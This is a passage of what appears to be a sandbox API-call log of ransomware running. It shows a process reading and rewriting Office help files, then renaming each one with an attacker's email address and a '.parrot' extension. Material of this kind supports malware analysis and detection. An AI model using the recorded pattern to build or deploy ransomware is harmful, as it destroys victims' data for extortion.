Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0168.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.930] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.930] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.932] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26d, lpOverlapped=0x0) returned 1 [0168.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.932] GetLastError () returned 0x0 [0168.933] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0168.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0168.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0168.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0168.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0168.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0168.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0168.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0168.934] WriteFile (in: hFile=0x284, lpBuffer=0x5cabe0*, nNumberOfBytesToWrite=0x388, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cabe0*, lpNumberOfBytesWritten=0x18eed4*=0x388, lpOverlapped=0x0) returned 1 [0168.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0168.936] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x385, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.937] CloseHandle (hObject=0x284) returned 1 [0168.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0168.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.943] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.944] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.944] GetLastError () returned 0x0 [0168.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1e8) returned 0x6a5268 [0168.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0168.945] WriteFile (in: hFile=0x284, lpBuffer=0x6a5268*, nNumberOfBytesToWrite=0x1e8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a5268*, lpNumberOfBytesWritten=0x18eed4*=0x1e8, lpOverlapped=0x0) returned 1 [0168.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0168.947] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.947] CloseHandle (hObject=0x284) returned 1 [0168.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.947] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.947] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0168.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.950] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.951] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.951] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.952] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.952] GetLastError () returned 0x0 [0168.952] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.952] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0168.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.953] WriteFile (in: hFile=0x284, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0168.954] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0168.954] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.954] CloseHandle (hObject=0x284) returned 1 [0168.954] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.954] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0168.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.956] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.958] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.958] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.961] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.961] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0168.961] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.962] GetLastError () returned 0x0 [0168.962] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.963] HeapFree (in: 